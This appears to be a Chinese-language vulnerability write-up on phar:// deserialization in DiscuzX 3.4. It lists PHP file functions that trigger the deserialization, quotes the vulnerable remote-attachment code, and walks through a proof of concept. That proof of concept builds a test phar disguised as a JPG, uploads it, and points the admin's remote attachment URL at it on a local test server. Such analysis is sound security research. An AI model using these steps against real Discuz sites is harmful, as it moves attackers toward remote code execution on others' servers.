DiscuzX 3.4 Phar反序列化漏洞
DiscuzX 3.4 Phar反序列化漏洞
0x1 前情提要
DiscuzX的反序列化比较鸡肋,没有任何可利用的点,只能算一个bug。
刚看到一片文章,就是在对phar文件进行操作的时候可以导致反序列化,然后我就对php内置函数进行了测试,发现80%的常用文件操作都能导致触发phar的反序列化,我一共测试了如下函数,都可以触发。
var_dump(file_get_contents('phar://payload.phar'));
var_dump(file_put_contents('phar://payload.phar'));
var_dump(readfile('phar://payload.phar'));
var_dump(is_file('phar://payload.phar'));
var_dump(filesize('phar://payload.phar'));
var_dump(file_exists('phar://payload.phar'));
var_dump(is_readable('phar://payload.phar'));
var_dump(file('phar://payload.phar'));
var_dump(filectime('phar://payload.phar'));
var_dump(filegroup('phar://payload.phar'));
var_dump(fileinode('phar://payload.phar'));
var_dump(filemtime('phar://payload.phar'));
var_dump(fileowner('phar://payload.phar'));
var_dump(fileperms('phar://payload.phar'));
var_dump(filetype('phar://payload.phar'));
var_dump(is_link('phar://payload.phar'));
var_dump(is_writable('phar://payload.phar'));
var_dump(is_writeable('phar://payload.phar'));
var_dump(lstat('phar://payload.phar'));
下面我就下了discuz的代码看看有没有什么能触发反序列化的点,还真给我找到了。
0x2 漏洞分析
/source/module/forum/forum_attachment.php
...
//如果是图片并且是缩略图
if(empty($_GET['nothumb']) && $attach['isimage'] && $attach['thumb']) {
$db = DB::object();
$db->close();
!$_G['config']['output']['gzip'] && ob_end_clean();
dheader('Content-Disposition: inline; filename='.getimgthumbname($attach['filename']));
dheader('Content-Type: image/pjpeg');
//需要是远程附件
if($attach['remote']) {
$_G['setting']['ftp']['hideurl'] ? getremotefile(getimgthumbname($attach['attachment'])) : dheader('location:'.$_G['setting']['ftp']['attachurl'].'forum/'.getimgthumbname($attach['attachment']));
} else {
getlocalfile($_G['setting']['attachdir'].'/forum/'.getimgthumbname($attach['attachment']));
}
exit();
}
...
function getremotefile($file) {
global $_G;
@set_time_limit(0);
//这边的readfile的 attachurl 是通过后台配置的
if(!@readfile($_G['setting']['ftp']['attachurl'].'forum/'.$file)) {
$ftp = ftpcmd('object');
$tmpfile = @tempnam($_G['setting']['attachdir'], '');
if($ftp->ftp_get($tmpfile, 'forum/'.$file, FTP_BINARY)) {
@readfile($tmpfile);
@unlink($tmpfile);
} else {
@unlink($tmpfile);
return FALSE;
}
}
return TRUE;
}
...
0x3 漏洞测试
登陆后台配置远程附件并开启隐藏真实路径
还需要开启附件缩略图功能
满足以上条件即可测试,在前台发帖并上传一个大于400*400的图片附件,注意是附件不是图片。
上传完成之后发帖会得到上图这样的链接
http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D¬humb=yes
这个时候需要把nothumb=yes去掉,访问
http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D
我为了方便测试,输出了url信息
function getremotefile($file) {
global $_G;
@set_time_limit(0);
echo $_G['setting']['ftp']['attachurl'].'forum/'.$file;
die();
可以看到前面的2222正是我们设置的路径
然后利用以下脚本生成一个phar包,
<?php
ini_set ( 'phar.readonly' , 'Off' );
class payload{
public $info="pwn";
}
$phar=new Phar("payload.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();");
$pd=new payload();
$phar->setMetadata($pd);
$phar->addFromString("t.txt","");
$phar->stopBuffering();
payload 类是我自己写的为了方便测试
我在/source/module/forum/forum_attachment.php加了一个payload类,测试看看有没有执行成功。
然后通过运营-》站点广告-
添加一个新的广告,把之前生成的phar修改成jpg上传上去,并拿到路径
http://192.168.50.154/u/upload/data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg
提取出
data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg
然后再打开远程附件,修改远程访问url为
phar://data/attachment/common/cf/222307y2v4kkqllj2bqv7e.jpg/
再访问之前的url
http://192.168.50.154/u/upload/forum.php?mod=attachment&aid=OHw5ZTIwZWUwMXwxNTQ2NjEwMTM1fDF8Mg%3D%3D
你会发现反序列化已经触发了,下面离getshell只差一个好利用的点了。